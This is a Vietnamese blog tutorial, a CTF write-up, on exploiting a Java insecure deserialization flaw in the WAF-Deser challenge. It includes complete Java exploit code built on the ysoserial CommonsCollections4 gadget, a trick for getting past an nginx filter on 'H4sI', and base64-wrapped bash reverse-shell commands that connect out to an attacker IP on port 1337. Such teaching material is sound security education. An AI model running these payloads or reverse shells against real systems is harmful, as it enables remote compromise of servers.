+4

Insecure deserialization vulnerability - Các lỗ hổng Insecure deserialization (phần 7)

III. Lỗ hổng Deserialization trong ngôn ngữ Java (tiếp)

6. Khai thác lỗ hổng Deserialization trong Java với custom gadget - Ví dụ 2

Ví dụ thứ hai là challenge WAF-Deser trong cuộc thi Sinh viên An toàn thông tin vòng sơ khảo năm 20222022. Chúng ta sẽ cùng tìm hiểu từ các bước dựng môi trường, phân tích mã nguồn, tìm kiếm điểm kích hoạt lỗ hổng và cuối cùng là xây dựng custom gadget. Mã nguồn challenge các bạn có thể tải về tại: https://drive.google.com/drive/folders/1VbdxWTwrxYjlexSAsFiZmYv-qcSUSGE6?usp=sharing.

6.1. Dựng môi trường

(Lưu ý các bạn nên sử dụng jdk-11 như trong Dockerfile đã cung cấp để tránh gặp các lỗi không liên quan)

Chúng ta dựng challenge với Docker và cài đặt môi trường debug với IDE IntelliJ. Thêm các thành phần quy định debug trong file docker-compose.yml:

image.png

Di chuyển đến thư mục challenge và chạy dòng lệnh:

docker-compose up -d

image.png

Sau khi các images được cài đặt xong, challenge mặc định chạy trên cổng 80808080:

image.png

image.png

Tiếp theo chúng ta cài đặt môi trường debug. Mở thư mục challenge bằng IDE IntelliJ. Lựa chọn Run > Edit Configurations, thêm một configuration > Remote JVM Debug. Thêm thông tin host đang chạy ứng dụng, port 50055005 tương ứng với port phía trên đã định nghĩa:

image.png

Giải nén tệp tin waf-deser-0.0.1-SNAPSHOT.jar (có thể sử dụng công cụ 7Zip hoặc command Java):

image.png

Lựa chọn File > Project Structure (hoặc tổ hợp phím Ctrl+Alt+Shift+S), tại tùy chọn Libraries, click chọn biểu tượng + > Java, thêm các file .jar trong thư mục BOOT-INF/lib:

image.png

Ngoài cách thêm các library như trên, các bạn cũng có thể click chuột phải vào file waf-deser-0.0.1-SNAPSHOT.jar và chọn Add as Library cũng có thể xem source code Java mà không cần decompile.

image.png

6.2. Phân tích

Quan sát nội dung file nginx.conf

server {    
    listen 80;

    large_client_header_buffers 4 3000; # Limit URI length upto 3000 bytes

    location ~* H4sI {
        return 403 'Deserialization of Untrusted Data Detected. (From real WAF with <3)';
    }

    location / {
        proxy_set_header   X-Forwarded-For $remote_addr;
        proxy_set_header   Host $http_host;
        proxy_pass         "http://web:8080";
    }

}

Chúng ta biết server nginx được cấu hình cần thỏa mãn các điều kiện:

  • Độ dài URI phải nhỏ hơn hoặc bằng 30003000 bytes.
  • Nếu đường dẫn chứa chuỗi H4sI sẽ trả về 403403.

image.png

Đây cũng là các hai điều kiện web application firewall (WAF) chúng ta cần bypass như tên challenge đã đề cập.

Tiếp theo, chúng ta xem xét các chức năng qua các file class trong waf-deser-0.0.1-SNAPSHOT/BOOT-INF/classes/vcs/example/wafdeser

image.png

Class User chứa lớp User với hai thuộc tính private nameage.

public class User {
    private String name;
    private Integer age;

    public User(String name, Integer age) {
        this.name = name;
        this.age = age;
    }

    public String getName() {
        return this.name;
    }

    public Integer getAge() {
        return this.age;
    }
}

Class UserController:

@RestController
public class UserController {
    public UserController() {
    }

    @GetMapping({"/"})
    public String sayHello() {
        return String.format("Hello ASCIS");
    }

    @RequestMapping(
        value = {"/info/{info}"},
        method = {RequestMethod.GET}
    )
    public String getUser(@PathVariable("info") String info, @RequestParam(name = "compress",defaultValue = "false") Boolean isCompress) throws IOException {
        String unencodedData = this.unEncode(info);
        String returnData = "";
        byte[] data = Base64.getMimeDecoder().decode(unencodedData);
        if (isCompress) {
            InputStream is = new ByteArrayInputStream(data);
            InputStream is = new GZIPInputStream(is);
            ObjectInputStream ois = new ObjectInputStream(is);

            try {
                User user = (User)ois.readObject();
                returnData = user.getName();
                ois.close();
            } catch (Exception var9) {
                returnData = "?????";
            }
        } else {
            returnData = new String(data, StandardCharsets.UTF_8);
        }

        return String.format("Hello %s", returnData);
    }

    private String unEncode(String s) {
        return s.replaceAll("-", "\\r\\n").replaceAll("%3D", "=").replaceAll("%2B", "\\+").replaceAll("_", "/");
    }
}

Route chúng ta cần quan tâm là /info/{info}. Hiểu đơn giản nhiệm vụ của nó là thực hiện Base64 decode chuỗi chúng ta truyền và in ra màn hình, ví dụ:

image.png

Tuy nhiên, trong quá trình decode thì trang web còn thực hiện một số hành động khác.

Đầu tiên, trang web thực hiện hàm unEncode() sẽ thay thế tất cả các ký tự trong chuỗi đầu vào thành:

  • - thành \r\n
  • %3D thành =
  • %2B thành \+
  • _ thành /

image.png

Tiếp theo, thực hiện Decode Base64 dữ liệu input với phương thức Base64.getMimeDecoder()

image.png

Cuối cùng, nếu chứa tham số compress nhận giá trị true trong yêu cầu sẽ thực hiện gzip decompress và Deserailize chuỗi input:

image.png

Đây cũng là điểm có thể khai thác lỗ hổng Deserialization. Để ý hơn nữa, chúng ta nhận thấy trang web sử dụng Commons Collection 4 phiên bản 4.0:

image.png

Một cách tự nhiên, chúng ta nghĩ tới gadget CommonsCollects4 trong bộ công cụ ysoserial. Để thỏa mãn các bước decode của trang web, chúng ta cần thay đổi một chút gadget này.

6.3. Xây dựng payload

Đầu tiên, chúng ta sẽ cần "tái sử dụng" lại chương trình tạo payload CommonsCollections4 trong bộ công cụ ysoserial. Tải file ysoserial-all.jar về:

image.png

Sử dụng IntelliJ, tạo một project mới với phiên bản JDK-11:

image.png

Thêm file ysoserial-all.jar dưới dạng file thư viện tương tự như trên:

image.png

Chương trình sinh payload CommonsCollections4 tham khảo như sau:

package org.example;

import ysoserial.payloads.CommonsCollections4;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;

public class Main {
    public static void main(String[] args) throws Exception {
        CommonsCollections4 collections4 = new CommonsCollections4();
        Object obj = collections4.getObject("Command here");
        FileOutputStream fileOutputStream = new FileOutputStream("payload.txt");
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
        objectOutputStream.writeObject(obj);
    }
}

Do challenge thực hiện gzip decompress dữ liệu nên chúng ta cần có một phương thức thực hiện gzip payload, chương trình tham khảo:

public static void GzipFile (String inputFile, String outputFile) throws IOException {
    FileInputStream in = new FileInputStream(inputFile);
    GZIPOutputStream out = new GZIPOutputStream(new FileOutputStream(outputFile));
    byte[] buffer = new byte[1024];
    int len;
    while ((len = in.read(buffer)) > 0) {
        out.write(buffer, 0, len);
    }
    in.close();
    out.finish();
    out.close();
}

Với hàm giải mã từ mã nguồn challenge:

private String unEncode(String s) {
    return s.replaceAll("-", "\\r\\n").replaceAll("%3D", "=").replaceAll("%2B", "\\+").replaceAll("_", "/");
}

Chúng ta có hàm mã hóa ngược lại đơn giản:

private String Encode(String s) {
    return s.replaceAll("\\r\\n", "-").replaceAll("=", "%3D").replaceAll("\\+", "%2B").replaceAll("/", "_");
}

Lưu ý cần base64 encode nhé! Tham khao chương trình đầy đủ sau:

package org.example;

import ysoserial.payloads.CommonsCollections4;

import java.io.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.zip.GZIPOutputStream;

public class Main {
    public static void main(String[] args) throws Exception {
        CommonsCollections4 collections4 = new CommonsCollections4();
        Object obj = collections4.getObject("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMjMuMTEuMzQvMTMzNyAwPiYx}|{base64,-d}|{bash,-i}");
        FileOutputStream fileOutputStream = new FileOutputStream("payload.txt");
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
        objectOutputStream.writeObject(obj);
        // gzip file
        GzipFile("payload.txt", "payload.txt.gz");
        byte[] bytes = Files.readAllBytes(Paths.get("payload.txt.gz"));
        String payload =  Base64.getEncoder().encodeToString(bytes);
        String filnalPayload = Encode(payload);
        System.out.println(filnalPayload);
    }
    public static void GzipFile (String inputFile, String outputFile) throws IOException {
        FileInputStream in = new FileInputStream(inputFile);
        GZIPOutputStream out = new GZIPOutputStream(new FileOutputStream(outputFile));
        byte[] buffer = new byte[1024];
        int len;
        while ((len = in.read(buffer)) > 0) {
            out.write(buffer, 0, len);
        }
        in.close();
        out.finish();
        out.close();
    }
    private static String Encode(String s) {
        return s.replaceAll("\\r\\n", "-").replaceAll("=", "%3D").replaceAll("\\+", "%2B").replaceAll("/", "_");
    }
}

Thử chạy chương trình với payload bất kỳ, để ý rằng payload cuối cùng sinh ra bắt đầu bằng H4sI - đây là magic byte đặc trưng của gzip sau khi thực hiện Base64 encode, cũng là lý do tác giả cài đặt filter với chuỗi này trong cấu hình nginx.

image.png

Bước cuối cùng là cần bypass filter này. Với các bạn có hiểu sâu về mã hóa Base64 chắc hẳn đều biết đến khi thực hiện decode Base64 sẽ chỉ hoạt động với các ký tự thuộc phạm vi 6464 ký tự được quy ước sẵn: a-z, A-Z, 0-9, ký tự +=.

image.png (https://en.wikipedia.org/wiki/Base64)

Đối với các ký tự không nằm trong danh sách này sẽ bị "bỏ qua". Dựa vào điều này, chúng ta có thể dễ dàng bypass lớp filter này bằng cách chèn các ký tự không thuộc phạm vi trên vào chuỗi H4sI. Chẳng hạn: H4.sI

image.png

Đến đây, chúng ta có thể reverse shell để dễ dàng thao tác, đối với Base64 decode trong Java, có thể sử dụng cách sau:

bash -c {echo,BASE64(bash -i >& /dev/tcp/IP/PORT 0>&1)}|{base64,-d}|{bash,-i}

Ví dụ với IP 192.168.81.163 mở port 1337

image.png

Chúng ta có Base64 encode và payload reverse shell:

image.png

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjgxLjE2My8xMzM3IDA+JjE=}|{base64,-d}|{bash,-i}

Sinh payload với chương trình exploit và gửi request, thực hiện reverse shell thành công:

image.png

image.png

Các tài liệu tham khảo


©️ Tác giả: Lê Ngọc Hoa từ Viblo


All rights reserved

Viblo
Hãy đăng ký một tài khoản Viblo để nhận được nhiều bài viết thú vị hơn.
Đăng kí